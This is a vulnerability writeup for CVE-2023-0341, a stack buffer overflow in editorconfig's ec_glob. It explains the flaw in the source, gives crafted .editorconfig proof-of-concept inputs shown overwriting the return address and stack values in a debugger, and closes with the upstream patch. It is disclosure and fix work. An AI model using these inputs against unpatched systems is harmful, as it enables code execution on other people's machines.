.. visibility



________/\\\\\\\\\__/\\\________/\\\__/\\\\\\\\\\\\\\\__________________/\\\\\\\\\_________/\\\\\\\_______/\\\\\\\\\_________/\\\\\\\\\\____________________/\\\\\\\________/\\\\\\\\\\_____________/\\\_________/\\\_        
 _____/\\\////////__\/\\\_______\/\\\_\/\\\///////////_________________/\\\///////\\\_____/\\\/////\\\___/\\\///////\\\_____/\\\///////\\\_________________/\\\/////\\\____/\\\///////\\\__________/\\\\\_____/\\\\\\\_       
  ___/\\\/___________\//\\\______/\\\__\/\\\___________________________\///______\//\\\___/\\\____\//\\\_\///______\//\\\___\///______/\\\_________________/\\\____\//\\\__\///______/\\\_________/\\\/\\\____\/////\\\_      
   __/\\\______________\//\\\____/\\\___\/\\\\\\\\\\\______/\\\\\\\\\\\___________/\\\/___\/\\\_____\/\\\___________/\\\/___________/\\\//____/\\\\\\\\\\\_\/\\\_____\/\\\_________/\\\//________/\\\/\/\\\________\/\\\_     
    _\/\\\_______________\//\\\__/\\\____\/\\\///////______\///////////_________/\\\//_____\/\\\_____\/\\\________/\\\//____________\////\\\__\///////////__\/\\\_____\/\\\________\////\\\_____/\\\/__\/\\\________\/\\\_    
     _\//\\\_______________\//\\\/\\\_____\/\\\_______________________________/\\\//________\/\\\_____\/\\\_____/\\\//__________________\//\\\_______________\/\\\_____\/\\\___________\//\\\__/\\\\\\\\\\\\\\\\_____\/\\\_   
      __\///\\\______________\//\\\\\______\/\\\_____________________________/\\\/___________\//\\\____/\\\____/\\\/____________/\\\______/\\\________________\//\\\____/\\\___/\\\______/\\\__\///////////\\\//______\/\\\_  
       ____\////\\\\\\\\\______\//\\\_______\/\\\\\\\\\\\\\\\________________/\\\\\\\\\\\\\\\__\///\\\\\\\/____/\\\\\\\\\\\\\\\_\///\\\\\\\\\/__________________\///\\\\\\\/___\///\\\\\\\\\/_____________\/\\\________\/\\\_ 
        _______\/////////________\///________\///////////////________________\///////////////_____\///////_____\///////////////____\/////////______________________\///////_______\/////////_______________\///_________\///_ 

This post is a writeup about CVE-2023-0341: how it was discovered, analysis and the proposed patch.

Special thanks to the whole Ubuntu Security team and, in particular, to Mark Esler and Seth Arnold.


Description

There is a buffer overflow vulnerability in the ec_glob function, allowing an attacker to perform an arbitrary write to the stack and possibly allowing remote code execution.

Finding the crash

In Ubuntu, MIRs are performed before moving a package to main. This analysis allows us to understand the package before fully maintaining and supporting it.

During the Security analysis of the MIR for editorconfig, Seth Arnold was worried about how the input was being handled in ec_glob. Mark Esler, who was the main responsible for this MIR, performed an excellent job when fuzzing the ec_glob, finding several crashes around that function.

From there, I began to analyze the crash and the code and develop a PoC.

Analyzing the code

The function ec_glob takes a pattern and a string and checks if the string fulfills the pattern. The vulnerability occurs due to how the pattern is processed and written in p_pcre.

 #define PATTERN_MAX  4097


 int ec_glob(const char *pattern, const char *string){
   char *                    c;
   char                      pcre_str[2 * PATTERN_MAX] = "^";
   char                      l_pattern[2 * PATTERN_MAX];
   int                       ret = 0;


   strcpy(l_pattern, pattern);
   p_pcre = pcre_str + 1;
   pcre_str_end = pcre_str + 2 * PATTERN_MAX;

The overflow occurs in:

for (c = l_pattern; *c; ++ c)

During this for, several characters are read from l_pattern (c, from now on), processed and written to p_pcre. In most cases, this is performed by:

#define STRING_CAT(p, string, end)  do {    \
   size_t string_len = strlen(string); \
   if (p + string_len >= end) \
       return -1; \
   strcat(p, string); \
   p += string_len; \
} while(0)

There is a bound check which always uses pcre_str_end. And that should be safe as the amount of data we can provide is limited.

But we can quickly fill the buffer with how the ? is processed:

case '?':
    STRING_CAT(p_pcre, "[^/]", pcre_str_end);
    break;

For every ? we provide, 4 characters will be written into p_pcre. That will only allow us to quickly fill the p_pcre buffer as there is a bound check in STRING_CAT.

After that, we can use the default option to overflow into the c buffer:

default:
    if (!isalnum(*c))
        *(p_pcre ++) = '\\';


    *(p_pcre ++) = *c;

By not using an alphanumeric character, we will write 2 characters for each input character. No bounding check so we can easily overflow the buffer.

Then, we will use [ for the final part. This is what will allow us to write big amounts of data to the stack to finally reach the end of it and overflow the canary, stack pointer, return pointer and beyond.

case '[':
    if (is_in_bracket)/* inside brackets, we really mean bracket */
    {
        STRING_CAT(p_pcre, "\\[", pcre_str_end);
        break;
    }


    {
        /* check whether we have slash within the bracket */
        _Bool           has_slash = 0;
        char *          cc;
        for (cc = c; *cc && *cc != ']'; ++ cc)
        {
            if (*cc == '\\' && *(cc+1) != '\0')
            {
                ++ cc;
                continue;
            }


            if (*cc == '/')
            {
                has_slash = 1;
                break;
            }
        }


        /* if we have slash in the brackets, just do it literally */
        if (has_slash)
        {
            char *           right_bracket = strchr(c, ']');


            if (!right_bracket)/* The right bracket may not exist*/ 
                right_bracket = c + strlen(c);


            strcat(p_pcre, "\\");
            strncat(p_pcre, c, right_bracket - c);
            if (*right_bracket)  /* right_bracket is a bracket */
                strcat(p_pcre, "\\]");
            p_pcre += strlen(p_pcre);
            c = right_bracket;
            if (!*c)
                /* end of string, meaning that right_bracket is not a
                * bracket. Then we go back one character to make the
                * parsing end normally for the counter in the "for"
                * loop. */
                c -= 1;
            break;
        }
    }

In the most simple way, this part looks for a /. It will copy from [ to ] to p_pcre if found, or all the remaining characters of c if not found. After that, it will update p_pcre and c to the corresponding amount of copied data.

We already overflowed into c. As we didn’t provide a final ], it will copy all c, also adding a ] to p_pcre at the end, useful for the following part. That means that strlen(p_pcre) will take from p_pcre to the end of c, but c will be updated only to the right part previously calculated. Strncat does not behave well when both pointers are writing one over the other:

As stayed by the strcat documentation: The strings may not overlap

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
	char test[] = "AAAABBBBCCCCDDDDEEEE";
	char *test2 = test + 2;
	strncat(test, test2, 4);

	printf("%s", test);
	printf("%s", test2);
}
$ ./a.out                                                                                                                                                 
AAAABBBBCCCCDDDDEEEEAABBAABBBBCCCCDDDDEEEEAABB%    

This is what happens here, more data is written to the buffer than right_bracket - c.

After the second copy, c will always be the previous p_pcre pointer because the right_bracket will be where we added the ] in the previous iteration. The pattern repeats as many [ as specified, consuming one by iteration. This allows us to write a huge and controlled amount of data to the stack.

Note that the copy will fully depend on the memory state. We may face cases where other characters are copied that may interfere with the script, breaking the loop or returning a fault somewhere else (for example, another crash was detected in free due to overriding the pointer address with garbage)

After a lot of iterations, we will process the final / if no other special char is found due to the memory state. That will trigger STRING_CAT, performing the bound checking, noticing that we overflowed and returning directly. This allows us to fully control the stack, even overriding other function stacks.

We can also stop execution anytime by triggering a copy with the macro that will detect the overflow and call return directly.

PoC

According to the analysis previously performed, we can create a simple PoC:

[????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[[[[[[[[++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/++++++++++++++++++++]
ene = lf

We can then run the PoC like:

$ editorconfig /path/to/folder/.editorconfig
*** stack smashing detected ***: terminated
[1]    36421 IOT instruction (core dumped)  editorconfig /path/to/folder/.editorconfig

After playing around with the offsets, I was able to get the desired values in the right places. Therefore, an attacker can control both the content and the address to write it:

I provided AAAAAAAA as the return address and BBBBBBBB as the new stack pointer

gef➤  x/1i $rip
=> 0x7ffff7fb4fd5 <ec_glob+3253>:	ret    
gef➤  info r $rsp $rbp
rsp            0x7fffffffa1b8      
rbp            0x4242424242424242 
gef➤  x/2wx $rsp
0x7fffffffa1b8:	0x41414141	0x41414141

As explained in the analysis, the values should be after the [[[[[[[[.

Original contents of the PoC to prove exploitability:

[[[|[[[?????????????????????????????????????????????=?????????????????????????????????????????????????????????????????????????\????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????�??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????.??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????%?????????????????????????????????????????????????????????????????????????????????]??????????????????????????????????????????????????????????????????????????????����������������������������������������������������������������������������������������������������������XXXXXXXXXXXX�����XX[[[[[[[[[[[[[[[[[[[[[n,.is*/XXXXBBBBBBBBAAAAAAAAXXXXAA[*]
ene\c = lf

Proposed patch

The issue could be fixed by ensuring that all copied that does not overflow the buffer. For that, I provided the following patch:

diff --git a/src/lib/ec_glob.c b/src/lib/ec_glob.c
index 32b3941..ea62aee 100644
--- a/src/lib/ec_glob.c
+++ b/src/lib/ec_glob.c
@@ -57,6 +57,13 @@ static const UT_icd ut_int_pair_icd = {sizeof(int_pair),NULL,NULL,NULL};
     p += string_len; \
 } while(0)
 
+/* safely add a char to a string then move the pointer to the end */
+#define ADD_CHAR(string, new_chr, end)  do {    \
+    if (string + 1 >= end) \
+        return -1; \
+    *(string ++) = new_chr; \
+} while(0)
+
 #define PATTERN_MAX  4097
 /*
  * Whether the string matches the given glob pattern. Return 0 if successful, return -1 if a PCRE
@@ -131,8 +138,8 @@ int ec_glob(const char *pattern, const char *string)
         case '\\':      /* also skip the next one */
             if (*(c+1) != '\0')
             {
-                *(p_pcre ++) = *(c++);
-                *(p_pcre ++) = *c;
+                ADD_CHAR(p_pcre, *(c++), pcre_str_end);
+                ADD_CHAR(p_pcre, *c, pcre_str_end);
             }
             else
                 STRING_CAT(p_pcre, "\\\\", pcre_str_end);
@@ -208,18 +215,18 @@ int ec_glob(const char *pattern, const char *string)
                 ++ c;
             }
             else
-                *(p_pcre ++) = '[';
+                STRING_CAT(p_pcre, "[", pcre_str_end);
 
             break;
 
         case ']':
             is_in_bracket = 0;
-            *(p_pcre ++) = *c;
+            ADD_CHAR(p_pcre, *c, pcre_str_end);
             break;
 
         case '-':
             if (is_in_bracket)      /* in brackets, - indicates range */
-                *(p_pcre ++) = *c;
+                ADD_CHAR(p_pcre, *c, pcre_str_end);
             else
                 STRING_CAT(p_pcre, "\\-", pcre_str_end);
 
@@ -302,12 +309,12 @@ int ec_glob(const char *pattern, const char *string)
             }
 
             -- brace_level;
-            *(p_pcre ++) = ')';
+            STRING_CAT(p_pcre, ")", pcre_str_end);
             break;
 
         case ',':
             if (brace_level > 0)  /* , inside {...} */
-                *(p_pcre ++) = '|';
+                STRING_CAT(p_pcre, "|", pcre_str_end);
             else
                 STRING_CAT(p_pcre, "\\,", pcre_str_end);
             break;
@@ -326,9 +333,9 @@ int ec_glob(const char *pattern, const char *string)
 
         default:
             if (!isalnum(*c))
-                *(p_pcre ++) = '\\';
+                STRING_CAT(p_pcre, "\\", pcre_str_end);
 
-            *(p_pcre ++) = *c;
+            ADD_CHAR(p_pcre, *c, pcre_str_end);
         }
     }
 

All tests passed and none of the previously discovered crashes worked anymore after the patch.

The patch landed upstream in commit 41281ea82fbf24b060a9f69b9c5369350fb0529e.

Many thanks to Hong Xu (xuhdev) for the quick response and handling of the issue.